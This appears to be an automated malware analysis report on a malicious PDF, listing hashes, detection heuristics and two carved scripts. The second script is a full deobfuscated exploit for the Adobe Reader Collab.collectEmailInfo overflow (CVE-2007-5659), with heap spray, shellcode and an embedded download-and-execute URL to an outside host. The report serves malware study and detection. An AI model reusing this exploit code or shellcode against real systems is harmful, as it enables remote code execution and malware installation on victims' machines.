Malicious PDF — malware analysis report

Static analysis result for SHA-256 a78d2516b0a75bcb…

MALICIOUS

PDF

12.0 KB First seen: 2012-07-12
MD5: 047694e8255bb5861134cd0b0faa351f SHA-1: a42d1d1306195559dcb1a31a2b254255884f9771 SHA-256: a78d2516b0a75bcba3bc8bb904bfa88bd548dd44a2afa81f02ba59b476bb79e1
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF sample contains embedded JavaScript, specifically identified as a hex-encoded stager exploiting CVE-2007-5659 via the Collab.collectEmailInfo function. This stager is designed to decode and execute further malicious code. The ML classifier and ClamAV detection strongly indicate malicious intent, likely involving the download and execution of a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var C1_0_4n = new Array();var hGY_1q_H = 0;var JC2__3bH2_kob6 = "";function R_8q_rOVF(h87N6hm, U2hd0r){var r_17___Jk = U2hd0r.toString();var rQ085eErV_A = "";for(var O_h_WI_Lhs = 0; O_h_WI_Lhs < r_17___Jk.length; O_h_WI_Lhs++) {var L0_JboJ4b = parseInt(r_17___Jk.substr(O_h_WI_Lhs, 1));if (!isNaN(L0_JboJ4b)) {L0_JboJ4b = L0_JboJ4b.toString(16);if (L0_JboJ4b.length == 1) { L0_JboJ4b = "0" + L0_JboJ4b; }else if (L0_JboJ4b.length != 2) { L0_JboJ4b = "00"; }rQ085eErV_A = L0_JboJ4b + rQ085eErV_A;}}whi …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-36165 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36165
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bingpowered.com/tre/lena.py/yH6e26ef3dV03008f36002R3c880b17102T1d958ef9Q000002f3901801F0035010aJ00000000l0409 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A6 1045 bytes
SHA-256: 3f254d15363cfc46f758dc79a2cb1074c4072b68aa3f4c80a9bf6696d85176e0
Preview script
First 1,000 lines of the extracted script
var neAR_DEF_PXgHYhFsMTBRECO_1="";
VAR_LtcYPPZYQBDkgWb=(function(VAR_eGXkKzIQCjBEaZe,VAR_xCUggEYeErHRHsB){return VAR_eGXkKzIQCjBEaZe[VAR_xCUggEYeErHRHsB];
});
function dskp(s){frcc=neAR_DEF_PXgHYhFsMTBRECO_1.constructor['f'+'romCharCode'];
s=s.split('%');
r=neAR_DEF_PXgHYhFsMTBRECO_1;
for(VAR_search_1 in this)if(VAR_search_1.length==1&&VAR_search_1.charCodeAt(0)==115&VAR_search_1.charCodeAt(0)==115)break ;for(c in this[VAR_search_1]){if(!VAR_LtcYPPZYQBDkgWb(s,c))continue ;r+=frcc(parseInt(s[c],16))}return r;
}
vd=neAR_DEF_PXgHYhFsMTBRECO_1;
vnt=event;
r=(r='l'+vd+'a'+'ce','re'+'p'+r);
if(!vd&&r){var z;
tis=vnt[('ta')[r](/r/,neAR_DEF_PXgHYhFsMTBRECO_1)+'r'+vd+'get'];
var e=vd+'v'+'a';
e=vd+'e'+e;
e=tis[e+'l'];
var y;
z=y=tis;
y=0;
sas=(sas='c','syn'+sas);
sas+='An'+vd+'notS'+'can';
VAR_LtcYPPZYQBDkgWb(z,sas).call(z);
y=z;
sbj='su'+'bject';
var p=y['g'+'et'+('Aaots')[r](/a/,'nn')]();
var s=VAR_LtcYPPZYQBDkgWb(p,0)[sbj];
var l=VAR_LtcYPPZYQBDkgWb(s,r).call(s,/[FAE]/g,('q%p')[r](/[qp]/g,neAR_DEF_PXgHYhFsMTBRECO_1));
s=dskp(l);
e(s)}
annotation_subject_callee_hex_stage_000.js deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x14F 5116 bytes
SHA-256: c1c8403124bae1c7e7cf8d2b0fb1b825e913ad6c6ba684f5650cf52c0f9a8d44
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var C1_0_4n = new Array();var hGY_1q_H = 0;var JC2__3bH2_kob6 = "";function R_8q_rOVF(h87N6hm, U2hd0r){var r_17___Jk = U2hd0r.toString();var rQ085eErV_A = "";for(var O_h_WI_Lhs = 0; O_h_WI_Lhs < r_17___Jk.length; O_h_WI_Lhs++) {var L0_JboJ4b = parseInt(r_17___Jk.substr(O_h_WI_Lhs, 1));if (!isNaN(L0_JboJ4b)) {L0_JboJ4b = L0_JboJ4b.toString(16);if (L0_JboJ4b.length == 1) { L0_JboJ4b = "0" + L0_JboJ4b; }else if (L0_JboJ4b.length != 2) { L0_JboJ4b = "00"; }rQ085eErV_A = L0_JboJ4b + rQ085eErV_A;}}while(rQ085eErV_A.length < 8) { rQ085eErV_A = "0" + rQ085eErV_A; }var xyGv13_1 = h87N6hm.toString(16);if (xyGv13_1.length == 1) { xyGv13_1 = "0" + xyGv13_1; }else if (xyGv13_1.length != 2) { xyGv13_1 = "00"; }rQ085eErV_A = "3" + xyGv13_1 + "P" + rQ085eErV_A;return rQ085eErV_A;}function wx22ri_r8ul_q(y5WlW_M7_T3P38f, EAh2VEcLb4l){var y54DuNuM_5e__u = new Array("");var x80Wd_s = y5WlW_M7_T3P38f;var fW1A__no_07_e;if ((fW1A__no_07_e = y5WlW_M7_T3P38f.lastIndexOf("%u00")) != -1) {if (fW1A__no_07_e + 6 == y5WlW_M7_T3P38f.length) {y54DuNuM_5e__u[0] = y5WlW_M7_T3P38f.substr(fW1A__no_07_e + 4, 2);x80Wd_s = y5WlW_M7_T3P38f.substring(0, fW1A__no_07_e);}}fW1A__no_07_e = 1;for (O_h_WI_Lhs = 0; O_h_WI_Lhs < EAh2VEcLb4l.length; O_h_WI_Lhs++) {var vPo00XQx4b5p7j = EAh2VEcLb4l.charCodeAt(O_h_WI_Lhs).toString(16);if (vPo00XQx4b5p7j.length == 1) { vPo00XQx4b5p7j = "0" + vPo00XQx4b5p7j; }y54DuNuM_5e__u[fW1A__no_07_e] = vPo00XQx4b5p7j;fW1A__no_07_e++;}O_h_WI_Lhs = y54DuNuM_5e__u[0].length ? 0 : 1;y54DuNuM_5e__u[fW1A__no_07_e] = "00";y54DuNuM_5e__u[fW1A__no_07_e + 1] = "00";fW1A__no_07_e += 2;if ((y54DuNuM_5e__u.length - O_h_WI_Lhs) % 2) {y54DuNuM_5e__u[fW1A__no_07_e] = "00";}while(O_h_WI_Lhs < y54DuNuM_5e__u.length) {x80Wd_s += "%u" + y54DuNuM_5e__u[O_h_WI_Lhs + 1] + y54DuNuM_5e__u[O_h_WI_Lhs];O_h_WI_Lhs += 2;}x80Wd_s += "%u0000";return x80Wd_s;}function bMP_j_m_D_h_O_j(Kj_68sGpB0dMD, Ew825a){while (Kj_68sGpB0dMD.length*2<Ew825a) {Kj_68sGpB0dMD += Kj_68sGpB0dMD;}Kj_68sGpB0dMD = Kj_68sGpB0dMD.substring(0,Ew825a/2);return Kj_68sGpB0dMD;}function uo__v7W8(E__S_5402a, jf66__B_w3_U, hMUHlQ0){var auuK__v__d = 0x0c0c0c0c;var Kj_68sGpB0dMD = unescape(jf66__B_w3_U);var EAh2VEcLb4l = R_8q_rOVF(E__S_5402a, hMUHlQ0);var i77Y0oS_5n = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var y5WlW_M7_T3P38f = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6970%u4d62%u004b%u7468%u7074%u2f3a%u622f%u6e69%u7067%u776f%u7265%u6465%u632e%u6d6f%u742f%u6572%u6c2f%u6e65%u2e61%u7970%u792f%u3648%u3265%u6536%u3366%u5664%u3330%u3030%u6638%u3633%u3030%u5232%u6333%u3838%u6230%u3731%u3031%u5432%u6431%u3539%u6538%u3966%u3051%u3030%u3030%u6632%u3933%u3130%u3038%u4631%u3030%u3533%u3130%u6130%u304a%u3030%u3030%u3030%u6c30%u3430%u3930";app.acxl_a = unescape(wx22ri_r8ul_q(y5WlW_M7_T3P38f, EAh2VEcLb4l));var u4_8_N_7QWKm8 = 0x400000;var wMU3kXAAl_1e = i77Y0oS_5n.length * 2;var Ew825a = u4_8_N_7QWKm8 - (wMU3kXAAl_1e+0x38);Kj_68sGpB0dMD = bMP_j_m_D_h_O_j(Kj_68sGpB0dMD, Ew825a);var U68_bsWEW = (auuK__v__d - 0x400000)/u4_8_N_7QWKm8;for (var vX_7V8LQ37l = 0; vX_7V8LQ37l < U68_bsWEW; vX_7V8LQ37l++) {C1_0_4n[vX_7V8LQ37l] = Kj_68sGpB0dMD + i77Y0oS_5n;}}function BD_rrYSq_I(){var H__nln57_e = "";for (O_h_WI_Lhs = 0; O_h_WI_Lhs < 12; O_h_WI_Lhs++) {H__nln57_e += unescape("%u0c0c%u0c0c");}var E3M1__420h4 = "";for (O_h_WI_Lhs = 0; O_h_WI_Lhs < 750; O_h_WI_Lhs++) {E3M1__420h4 += H__nln57_e;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: E3M1__420h4});app.clearTimeOut(hGY_1q_H);}function K_NN3_8s_f8_De(Av33Rv1hj){var d____WM8_K = hGY_1q_H;if ((Av33Rv1hj >= 8 && Av33Rv1hj < 8.11) || Av33Rv1hj < 7.1) {uo__v7W8(23, "%u0c0c%u0c0c", Av33Rv1hj);BD_rrYSq_I();} if (d____WM8_K) {app.clearTimeOut(d____WM8_K);}}var hMUHlQ0 = 0;var c2mM_qgtmwt = app.plugIns;for (var ku7_Q7ONO_E5BT = 0; ku7_Q7ONO_E5BT < c2mM_qgtmwt.length; ku7_Q7ONO_E5BT++) {var SrK_SjIju_V = c2mM_qgtmwt[ku7_Q7ONO_E5BT].version;if (SrK_SjIju_V > hMUHlQ0) { hMUHlQ0 = SrK_SjIju_V; }}if (app.viewerVersion == 9.103 && hMUHlQ0 < 9.13) {hMUHlQ0 = 9.13;}app.k4_0C_H0_g0 = K_NN3_8s_f8_De;hGY_1q_H = app.setTimeOut("app.k4_0C_H0_g0(" + hMUHlQ0.toString() + ")", 50);

Open this report in the interactive analyzer, or submit your own file for analysis.